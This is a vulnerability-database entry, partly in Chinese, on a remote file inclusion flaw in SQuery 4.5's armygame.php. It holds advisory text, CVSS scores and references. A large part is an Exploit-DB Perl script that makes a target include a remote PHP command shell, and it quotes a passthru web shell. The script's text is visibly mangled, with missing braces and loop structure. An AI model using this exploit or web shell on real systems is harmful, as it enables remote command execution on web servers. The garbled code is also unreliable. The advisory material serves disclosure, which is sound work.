发布时间 :2006-04-04 06:04:00
修订时间 :2011-08-22 00:00:00

[原文]PHP remote file inclusion vulnerability in lib/armygame.php in SQuery 4.5 and earlier, as used in products such as Autonomous LAN party (ALP), allows remote attackers to execute arbitrary PHP code via a URL in the libpath parameter. NOTE: this only occurs when register_globals is disabled.

[CNNVD]SQuery gore.php远程文件包含漏洞(CNNVD-200604-038)


- CVSS (基础分值)

CVSS分值: 5.1 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: HIGH [漏洞利用存在特定的访问条件]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-94 [对生成代码的控制不恰当(代码注入)]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  XF  squery-file-include(25605)
(UNKNOWN)  BID  17434
(UNKNOWN)  BUGTRAQ  20060401 SQuery <= 4.5 Remote File Inclusion Exploit

- 漏洞信息

SQuery gore.php远程文件包含漏洞
中危 代码注入
2006-04-04 00:00:00 2006-04-25 00:00:00

- 公告与补丁


- 漏洞信息 (1629)

SQuery <= 4.5 (libpath) Remote File Inclusion Exploit (EDBID:1629)
php webapps
2006-04-01 Verified
0 uid0
N/A [点击下载]
# SQuery <= 4.5 Remote File Inclusion Exploit
# Bug Found By uid0 code by zod
# (c) 2006
# usage:
# perl <location of SQuery> <cmd shell location> <cmd shell variable>
# perl cmd
# cmd shell example: <?passthru($_GET[cmd]);?>
# cmd shell variable: ($_GET[cmd]);
# hai to: nex, kutmaster, spic, cijfer ;P, ReZeN, wr0ck,, and everyone else!
# special shout to [ill]will!
# Contact:

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}


	print "[shell] \$";
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'lib/armygame.php?libpath='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
	{print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.+)<br.\/>.<b>Fatal.error/)

	$finreturn = $1;
	$finreturn=~ tr/[ê]/[\n]/;
	print "\r\n$finreturn\n\r";

else {print "[shell] \$";}}}last;

sub head()
 print "\n============================================================================\r\n";
 print " 	   *SQuery <= 4.5 Remote File Inclusion Exploit*\r\n";   
 print "============================================================================\r\n";
sub usage()
 print " Usage: perl <location of SQuery> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to SQuery ex: \r\n";
 print " <cmd shell> - Path to cmd Shell e.g \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "		           Bug Found by uid0\r\n";
 print " #exploitercode\r\n";
 print "============================================================================\r\n";

# [2006-04-01]

- 漏洞信息

SQuery armygame.php libpath Parameter Remote File Inclusion
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

SQuery contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to armygame.php (not an underlying library) not properly sanitizing user input supplied to the 'libpath' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

- 时间线

2006-04-01 Unknow
2006-04-01 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

- 漏洞信息

SQuery LibPath Parameter Multiple Remote File Include Vulnerabilities
Input Validation Error 17434
Yes No
2006-04-10 12:00:00 2006-07-25 09:47:00
uid0 is credited with the discovery of these vulnerabilities.

- 受影响的程序版本

SQuery SQuery 4.5
Autonomous LAN Party Autonomous LAN Party 0

- 漏洞讨论

SQuery is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Versions 4.5 and prior are affected.

- 漏洞利用

Attackers can exploit this issue via a web client.

The following URI has been provided:

- 解决方案

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at:

- 相关参考